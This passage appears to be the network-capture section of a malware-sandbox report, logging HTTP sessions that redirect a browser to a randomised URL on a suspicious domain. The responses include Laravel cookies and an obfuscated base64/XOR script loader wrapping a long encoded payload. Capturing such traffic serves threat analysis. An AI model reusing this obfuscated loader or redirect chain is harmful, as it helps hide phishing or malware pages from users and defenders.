XSRF-TOKEN=eyJpdiI6Ik1SbnQyeVdERm9QOU82aDQyQXdid1E9PSIsInZhbHVlIjoiM0RjK0I4RVVTUzBxblpKeUIzeFUzR0RwZ1BWQ0pPRnBuMU82MERQSUhGZHY5Tk4rS1UzWG9idUh3Qk5GSVZIZ01nVkdIa1hVUEpkbWd3cEpUQXZYa1h4ZFF0QW1zWkFkWncwZklWWHZod0FFZ0tjRERqalJudHkyZ0ZKd0FBb3QiLCJtYWMiOiIyYTY5Y2EyYTMxM2VkNDZkZDc1MmVkNGI4YThjOGUzMjZlMmIyZGM0NmM2MWJlMDgxYjA2MGM2NjFhZjliZDlmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlQ2K3RiMG9EY1doSzRiT0xTZlBvOVE9PSIsInZhbHVlIjoiZHVMMWh5U0FGdFlwVkZyanpkeHZaRFUrbnc0QXFuVlVMaVp3T2dHS2p4ZUhVOHljYXZBK1FSMG1CNDlvNVUxbjJ6RlFkT1ZVN01LSmVycnJpMVlJclVoOWhsYlB1bjluRmFzK3JlYnhwUEsyU0t6aXFGMkNodCtHM1ZhVXRROE0iLCJtYWMiOiJmNjcwOGFhMzA2NTFjZTY2YWFjMjNlNzM5NGY0N2YwNGY2ZGIzNmFkMGZhMDA4ZGJiYzc5ZTNhMjM4YTA2ZTY3IiwidGFnIjoiIn0%3D
2024-04-24 06:22:00 UTC	1168	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 06:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=szlP9hRVm%2FZ3VB4opmbrk84Z3KsphcNkt6HbrByAhaWdWDvtIJbXTGJN6JKnYYsMNYAyuALyLmvcqkm1RKJ0Rm3OXT0x1OcQCM9263hoPzs9Iy4%2FT6JbKSEWDcPirw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImpwOTVTM3o1MnV5Q3lFMDg4ZmhyWXc9PSIsInZhbHVlIjoiUytrOEFWek41eS8yZWdrZTRmUGowNTFCd0hHZEZEeHJzV05iRnh6S0VFUi9nQ1Zlem0wMXdVVWdwK1dLbEluMGhzY29pbm5ZQU80NURVbitRT2xZTENYU2puL3VCQ3J0NkhpMWJBTjRFQ1o2QStERjJqeUoybHY1Vlg4cGYwNGoiLCJtYWMiOiIxODBkNjU5NzRlNjk3OGNjNmMyNTNhNGZkNGMzNWQwYzkwODk1MTY5N2MyZDg1NTNjZDI2Y2RhODk2MmVlY2JlIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:21:59 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:22:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 52 33 51 6d 51 32 51 6b 64 6c 55 6b 68 68 56 44 51 30 64 45 4d 31 4e 33 4e 44 62 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 48 5a 72 54 46 46 4a 59 6a 52 5a 4d 55 4a 54 4e 6b 35 59 61 6b 74 51 63 48 41 76 61 58 6c 31 54 47 52 51 61 30 68 5a 63 55 31 57 53 57 4e 75 53 32 46 4f 4e 47 46 50 64 30 55 30 61 33 56 72 57 57 4a 30 61 32 55 79 4d 47 6c 78 51 6a 55 76 55 55 4e 44 52 6d 64 78 51 6e 56 69 5a 46 67 76 56 6a 6c 78 62 43 73 72 62 30 5a 69 64 48 52 6a 52 31 6c 4b 4b 30 78 56 63 7a 46 59 53 57 31 73 63 55 78 7a 4e 6d 31 44 64 33 4a 35 4b 31 63 32 51 6c 68 49 4b 31 5a 59 5a 47 35 51 64 57 30 79 5a 55 77 72 52 30 56 34 53 6b 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlR3QmQ2QkdlUkhhVDQ0dEM1N3NDbVE9PSIsInZhbHVlIjoidHZrTFFJYjRZMUJTNk5YaktQcHAvaXl1TGRQa0hZcU1WSWNuS2FONGFPd0U0a3VrWWJ0a2UyMGlxQjUvUUNDRmdxQnViZFgvVjlxbCsrb0ZidHRjR1lKK0xVczFYSW1scUxzNm1Dd3J5K1c2QlhIK1ZYZG5QdW0yZUwrR0V4SkI
2024-04-24 06:22:00 UTC	853	IN	Data Raw: 33 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 6f 35 75 37 67 2e 7a 6c 65 75 39 2e 63 6f 6d 2f 62 73 71 79 76 71 66 78 6d 69 6f 69 69 72 7a 6e 7a 63 73 70 6c 77 73 74 4e 53 74 4e 50 5a 4b 67 55 53 48 53 4c 54 4f 42 45 44 50 4f 47 58 58 48 59 46 42 5a 55 48 59 43 4c 59 4a 4e 4f 46 4d 45 59 44 47 57 47 52 3f 53 50 64 72 6f 69 49 4d 61 67 53 43 54 55 52 69 47 7a 46 70 66 6e 42 4b 50 52 47 49 42 43 48 41 56 50 4a 50 4b Data Ascii: 34e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPK
2024-04-24 06:22:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49772	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:00 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1B5KMs2dSdTWHV6&MD=uvLkEpBS HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 06:22:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 5a15a4f5-dbf4-40ec-991f-bbaadcea1665 MS-RequestId: acda3ef5-74a6-4a2c-a82c-b2d3be94ec26 MS-CV: Y0QT82tc9Eaek0ht.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 06:21:59 GMT Connection: close Content-Length: 25457
2024-04-24 06:22:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-24 06:22:00 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49773	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:00 UTC	1536	OUT	GET /bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpwOTVTM3o1MnV5Q3lFMDg4ZmhyWXc9PSIsInZhbHVlIjoiUytrOEFWek41eS8yZWdrZTRmUGowNTFCd0hHZEZEeHJzV05iRnh6S0VFUi9nQ1Zlem0wMXdVVWdwK1dLbEluMGhzY29pbm5ZQU80NURVbitRT2xZTENYU2puL3VCQ3J0NkhpMWJBTjRFQ1o2QStERjJqeUoybHY1Vlg4cGYwNGoiLCJtYWMiOiIxODBkNjU5NzRlNjk3OGNjNmMyNTNhNGZkNGMzNWQwYzkwODk1MTY5N2MyZDg1NTNjZDI2Y2RhODk2MmVlY2JlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlR3QmQ2QkdlUkhhVDQ0dEM1N3NDbVE9PSIsInZhbHVlIjoidHZrTFFJYjRZMUJTNk5YaktQcHAvaXl1TGRQa0hZcU1WSWNuS2FONGFPd0U0a3VrWWJ0a2UyMGlxQjUvUUNDRmdxQnViZFgvVjlxbCsrb0ZidHRjR1lKK0xVczFYSW1scUxzNm1Dd3J5K1c2QlhIK1ZYZG5QdW0yZUwrR0V4SkIiLCJtYWMiOiJmNWRiODM3NTE2MGM5MzA5YTRkOTNmZDkyODM5MzUwYzNhNzMzYzMwNzRiMDAzZTk2NDZiMDdhMjlhNWE3NWE3IiwidGFnIjoiIn0%3D
2024-04-24 06:22:00 UTC	1005	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0LqOGEdiIlyf5%2BmAMi0vTToQTlH4xYNs788Gx1Lfyi2CYpD%2FBxvwplRJrFKZBKzpoLMkDonYj5LqtUF2usRJMApZghihwKqFKGVunpOfw55M5VHBR6H2R6Uzf%2B7jKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:22:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:22:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 64 57 4f 56 4a 48 56 30 35 4d 55 56 68 51 59 30 46 35 4d 6e 5a 78 61 6d 52 30 57 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 6b 78 6b 54 6d 4e 47 56 56 56 72 55 33 56 77 5a 47 6c 71 59 57 4a 51 53 32 77 76 62 6c 4a 73 4b 30 68 44 65 58 51 31 63 47 52 7a 5a 53 74 52 56 6d 39 45 56 58 52 31 51 7a 6b 35 56 6e 68 56 61 31 6f 7a 56 44 56 50 52 57 35 49 51 57 5a 4b 55 45 46 71 55 33 4e 70 59 6c 6c 6b 57 47 70 55 4d 6e 42 61 52 56 4d 30 57 47 35 6d 64 69 39 6f 54 56 45 76 53 56 4a 4c 51 7a 52 6a 56 6c 5a 5a 4f 45 56 31 4f 57 4a 4d 55 6d 52 44 55 6b 45 35 57 48 4e 5a 52 57 68 31 55 57 46 73 4d 6a 41 79 52 44 6c 53 52 7a 4a 50 61 7a 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazE
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 36 65 38 63 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4a 58 45 6f 57 7a 75 65 59 75 28 55 5a 4c 6e 56 45 51 76 64 53 2c 20 69 51 76 7a 4b 53 66 56 6a 67 29 20 7b 0d 0a 6c 65 74 20 55 4b 63 71 63 6a 71 56 59 69 20 3d 20 27 27 3b 0d 0a 55 5a 4c 6e 56 45 51 76 64 53 20 3d 20 61 74 6f 62 28 55 5a 4c 6e 56 45 51 76 64 53 29 3b 0d 0a 6c 65 74 20 59 77 4c 58 50 4b 41 48 6f 47 20 3d 20 69 51 76 7a 4b 53 66 56 6a 67 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 55 5a 4c 6e 56 45 51 76 64 53 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 55 4b 63 71 63 6a 71 56 59 69 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 55 5a 4c 6e 56 45 51 76 64 53 2e 63 68 61 72 43 Data Ascii: 6e8c<script>function JXEoWzueYu(UZLnVEQvdS, iQvzKSfVjg) {let UKcqcjqVYi = '';UZLnVEQvdS = atob(UZLnVEQvdS);let YwLXPKAHoG = iQvzKSfVjg.length;for (let i = 0; i < UZLnVEQvdS.length; i++) { UKcqcjqVYi += String.fromCharCode(UZLnVEQvdS.charC
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 69 53 44 51 36 46 41 5a 37 41 33 56 56 47 55 74 59 55 41 51 65 49 30 4a 31 56 51 78 42 46 52 64 66 55 79 74 5a 4f 51 46 58 54 77 6f 55 42 46 4e 74 56 53 55 61 43 30 73 4b 41 41 73 57 4a 46 68 71 56 78 6c 57 43 68 77 62 48 43 4a 44 4a 46 64 47 4e 57 39 53 51 6c 46 74 43 6a 73 63 46 6c 4e 46 41 41 63 64 63 42 51 6e 42 78 31 55 43 68 4d 47 55 32 31 65 4a 52 41 65 42 55 64 4b 57 7a 30 56 62 69 63 50 43 55 34 56 48 6a 67 37 64 45 64 68 4f 51 67 42 50 45 45 6e 51 48 39 65 4d 7a 59 37 56 51 41 34 42 7a 39 34 63 69 34 50 51 41 68 48 55 67 4d 43 63 42 51 78 47 68 5a 4d 52 31 49 57 43 44 31 54 61 6c 63 65 56 77 73 47 54 51 59 69 55 44 46 48 57 68 67 47 41 41 30 43 50 6c 6b 6c 48 42 39 52 43 30 39 41 45 43 4e 5a 4f 51 77 56 56 78 41 42 51 45 39 41 50 48 64 56 57 42 Data Ascii: iSDQ6FAZ7A3VVGUtYUAQeI0J1VQxBFRdfUytZOQFXTwoUBFNtVSUaC0sKAAsWJFhqVxlWChwbHCJDJFdGNW9SQlFtCjscFlNFAAcdcBQnBx1UChMGU21eJRAeBUdKWz0VbicPCU4VHjg7dEdhOQgBPEEnQH9eMzY7VQA4Bz94ci4PQAhHUgMCcBQxGhZMR1IWCD1TalceVwsGTQYiUDFHWhgGAA0CPlklHB9RC09AECNZOQwVVxABQE9APHdVWB
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 57 6a 34 52 57 42 74 56 51 6c 52 47 4c 77 35 73 65 48 49 59 52 56 4a 43 55 57 30 57 64 31 56 59 47 45 55 43 41 78 55 70 58 7a 6b 53 51 68 68 51 41 68 70 52 66 67 59 6e 44 55 4d 31 62 31 4a 43 55 57 30 57 64 31 56 59 47 45 56 53 51 68 63 69 57 43 4e 59 43 31 45 66 46 31 68 52 66 41 4d 6e 44 55 4d 31 62 31 4a 43 55 57 30 57 64 31 56 59 47 45 56 53 51 68 49 34 52 43 51 61 43 67 4a 46 41 67 30 59 49 30 49 79 42 30 4d 31 62 31 4a 43 55 57 30 57 64 31 56 59 52 57 68 34 51 6c 46 74 46 6c 70 2f 57 42 68 46 55 6b 4a 52 62 52 5a 35 46 77 78 57 58 78 6f 4e 42 79 68 45 64 77 35 31 4d 6b 56 53 51 6c 46 74 46 6e 64 56 57 42 68 46 55 67 41 51 4c 6c 30 77 42 78 64 4e 43 78 5a 50 45 69 4a 61 4f 41 64 43 47 45 5a 43 55 6b 64 36 56 47 39 4f 64 54 4a 46 55 6b 4a 52 62 52 5a Data Ascii: Wj4RWBtVQlRGLw5seHIYRVJCUW0Wd1VYGEUCAxUpXzkSQhhQAhpRfgYnDUM1b1JCUW0Wd1VYGEVSQhciWCNYC1EfF1hRfAMnDUM1b1JCUW0Wd1VYGEVSQhI4RCQaCgJFAg0YI0IyB0M1b1JCUW0Wd1VYRWh4QlFtFlp/WBhFUkJRbRZ5FwxWXxoNByhEdw51MkVSQlFtFndVWBhFUgAQLl0wBxdNCxZPEiJaOAdCGEZCUkd6VG9OdTJFUkJRbRZ
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 67 4d 44 4f 56 67 79 41 6c 6f 47 61 48 68 65 46 53 52 41 64 78 77 63 42 55 63 42 42 78 49 35 58 7a 67 62 43 78 70 46 45 51 34 51 50 6b 56 71 56 31 6f 47 61 48 68 43 55 57 30 57 61 77 59 64 57 78 45 62 44 52 39 74 58 7a 4e 49 57 6b 73 41 45 52 59 59 49 6c 67 49 41 51 70 42 44 42 77 46 42 53 4a 46 50 68 49 57 55 51 74 51 51 67 49 35 54 7a 73 51 52 52 6f 45 48 41 73 63 4c 45 49 2b 47 68 59 43 46 68 6f 4e 42 6d 42 51 4a 52 6f 56 46 52 63 62 42 52 6b 35 46 6d 64 62 54 55 74 65 55 45 49 53 49 56 63 6b 42 6b 55 61 52 30 78 76 65 32 30 57 64 31 56 59 47 45 56 53 58 68 55 6b 51 48 63 57 46 46 6b 57 41 56 39 54 4c 45 4d 6a 48 56 56 50 46 78 4d 53 41 53 68 45 64 55 74 31 4d 6b 56 53 51 6c 46 74 46 6e 64 56 57 42 68 46 55 6c 34 56 4a 45 42 33 46 68 52 5a 46 67 46 66 Data Ascii: gMDOVgyAloGaHheFSRAdxwcBUcBBxI5XzgbCxpFEQ4QPkVqV1oGaHhCUW0WawYdWxEbDR9tXzNIWksAERYYIlgIAQpBDBwFBSJFPhIWUQtQQgI5TzsQRRoEHAscLEI+GhYCFhoNBmBQJRoVFRcbBRk5FmdbTUteUEISIVckBkUaR0xve20Wd1VYGEVSXhUkQHcWFFkWAV9TLEMjHVVPFxMSAShEdUt1MkVSQlFtFndVWBhFUl4VJEB3FhRZFgFf
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 68 64 46 31 42 63 66 45 63 57 64 31 56 59 47 45 56 53 51 6c 46 74 46 6e 64 4a 48 46 45 54 55 67 45 64 4c 45 55 6b 53 46 70 55 43 68 4d 47 47 43 4e 52 65 68 59 58 56 68 45 54 43 78 38 6f 52 48 56 4c 64 54 4a 46 55 6b 4a 52 62 52 5a 33 56 56 67 59 52 56 4a 43 55 57 30 57 61 78 45 52 54 6b 55 52 44 68 41 2b 52 57 70 58 48 46 63 52 58 77 51 64 49 6c 63 6a 48 42 5a 66 52 30 78 65 58 69 6c 66 49 55 74 31 4d 6b 56 53 51 6c 46 74 46 6e 64 56 57 42 68 46 55 6b 4a 52 62 52 5a 72 45 52 46 4f 52 52 45 4f 45 44 35 46 61 6c 63 63 56 78 46 66 42 42 30 69 56 79 4d 63 46 6c 39 48 54 46 35 65 4b 56 38 68 53 33 55 79 52 56 4a 43 55 57 30 57 64 31 56 59 47 45 56 53 51 6c 46 74 46 6d 73 52 45 55 35 46 45 51 34 51 50 6b 56 71 56 78 78 58 45 56 38 45 48 53 4a 58 49 78 77 57 58 Data Ascii: hdF1BcfEcWd1VYGEVSQlFtFndJHFETUgEdLEUkSFpUChMGGCNRehYXVhETCx8oRHVLdTJFUkJRbRZ3VVgYRVJCUW0WaxERTkURDhA+RWpXHFcRXwQdIlcjHBZfR0xeXilfIUt1MkVSQlFtFndVWBhFUkJRbRZrERFORREOED5FalccVxFfBB0iVyMcFl9HTF5eKV8hS3UyRVJCUW0Wd1VYGEVSQlFtFmsREU5FEQ4QPkVqVxxXEV8EHSJXIxwWX
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 34 4f 46 55 5a 57 77 59 64 46 78 38 35 43 58 64 4a 47 52 67 4e 41 41 63 58 63 42 52 30 56 31 68 63 42 41 59 44 58 43 52 53 61 6c 63 4c 55 51 49 63 46 77 46 76 46 6a 67 62 47 31 51 4d 45 51 6c 4d 62 31 6f 2b 47 78 4e 58 46 51 59 4c 48 69 4e 56 4f 78 77 62 55 30 30 47 43 68 67 2b 48 33 56 56 47 31 51 45 41 52 46 4d 62 31 6f 2b 47 78 4d 61 57 7a 45 51 46 43 78 43 4d 6c 55 58 56 67 42 54 58 6c 34 73 43 47 74 61 43 41 5a 5a 45 30 49 53 49 56 63 6b 42 6b 55 61 43 52 73 4d 47 6d 31 62 4e 56 68 4a 44 6b 64 53 42 68 41 35 56 33 6f 63 48 41 56 48 45 51 4d 66 4f 58 63 30 46 68 31 4c 46 6a 4d 42 45 69 4a 44 4f 51 46 61 47 41 6f 63 41 52 30 6b 56 54 78 49 57 6c 51 4d 48 41 6b 65 50 55 49 2b 47 68 5a 62 43 52 73 42 47 6d 56 43 50 78 77 4c 45 55 64 53 43 67 4d 6f 55 47 Data Ascii: 4OFUZWwYdFx85CXdJGRgNAAcXcBR0V1hcBAYDXCRSalcLUQIcFwFvFjgbG1QMEQlMb1o+GxNXFQYLHiNVOxwbU00GChg+H3VVG1QEARFMb1o+GxMaWzEQFCxCMlUXVgBTXl4sCGtaCAZZE0ISIVckBkUaCRsMGm1bNVhJDkdSBhA5V3ocHAVHEQMfOXc0Fh1LFjMBEiJDOQFaGAocAR0kVTxIWlQMHAkePUI+GhZbCRsBGmVCPxwLEUdSCgMoUG
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 45 51 4a 77 46 44 4d 61 44 42 55 44 48 67 30 51 4f 56 38 35 45 6c 6f 47 57 56 30 47 47 44 73 49 57 6e 39 59 47 45 56 53 51 6c 46 74 46 6e 64 56 57 42 68 46 55 6b 4a 52 63 56 49 2b 41 31 68 62 43 52 4d 52 41 6e 41 55 4d 78 6f 4d 46 51 4d 65 44 52 41 35 58 7a 6b 53 57 67 5a 5a 58 51 59 59 4f 77 68 61 66 31 67 59 52 56 4a 43 55 57 30 57 64 31 56 59 47 46 6c 64 42 68 67 37 43 46 70 2f 57 42 68 46 55 6b 4a 52 62 52 5a 33 56 56 67 59 57 52 59 4c 42 32 31 56 4f 78 51 4c 53 31 68 51 45 52 51 75 51 6a 34 61 46 6c 73 4b 48 42 59 55 49 30 4a 31 53 33 55 79 52 56 4a 43 55 57 30 57 64 31 56 59 47 45 56 53 58 68 55 6b 51 48 63 57 46 46 6b 57 41 56 39 54 4c 31 63 35 47 78 31 4b 43 52 30 46 48 6d 38 57 4e 42 6b 5a 53 78 5a 50 51 42 56 67 56 44 73 61 47 31 4e 48 54 46 35 Data Ascii: EQJwFDMaDBUDHg0QOV85EloGWV0GGDsIWn9YGEVSQlFtFndVWBhFUkJRcVI+A1hbCRMRAnAUMxoMFQMeDRA5XzkSWgZZXQYYOwhaf1gYRVJCUW0Wd1VYGFldBhg7CFp/WBhFUkJRbRZ3VVgYWRYLB21VOxQLS1hQERQuQj4aFlsKHBYUI0J1S3UyRVJCUW0Wd1VYGEVSXhUkQHcWFFkWAV9TL1c5Gx1KCR0FHm8WNBkZSxZPQBVgVDsaG1NHTF5
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 6d 73 4d 46 51 78 52 4a 46 68 72 57 68 70 4e 45 51 59 4e 48 33 4d 37 58 56 56 59 47 45 56 53 51 6c 46 74 46 6e 64 56 57 41 52 4b 46 67 73 48 63 7a 74 64 56 56 67 59 52 56 4a 43 55 57 30 4b 65 42 45 52 54 6c 74 2f 61 46 46 74 46 6e 64 4a 56 30 73 41 45 52 59 59 49 6c 68 70 65 48 49 31 62 31 4a 43 55 57 30 4b 4a 42 41 62 54 41 77 64 44 46 45 6b 55 6d 70 58 43 31 30 47 42 67 73 65 49 32 6b 75 47 67 31 63 43 68 77 57 47 53 78 41 4d 68 51 62 57 77 41 42 45 56 4e 74 56 54 73 55 43 30 74 59 55 41 5a 63 49 31 6b 35 45 46 6f 47 61 48 68 43 55 57 30 57 64 31 56 59 47 46 6b 57 43 77 64 74 56 54 73 55 43 30 74 59 55 41 4d 45 4f 56 35 36 41 67 70 5a 46 51 49 48 41 32 38 49 57 6e 39 59 47 45 56 53 51 6c 46 74 46 6e 64 56 57 42 68 5a 46 67 73 48 62 56 55 37 46 41 74 4c Data Ascii: 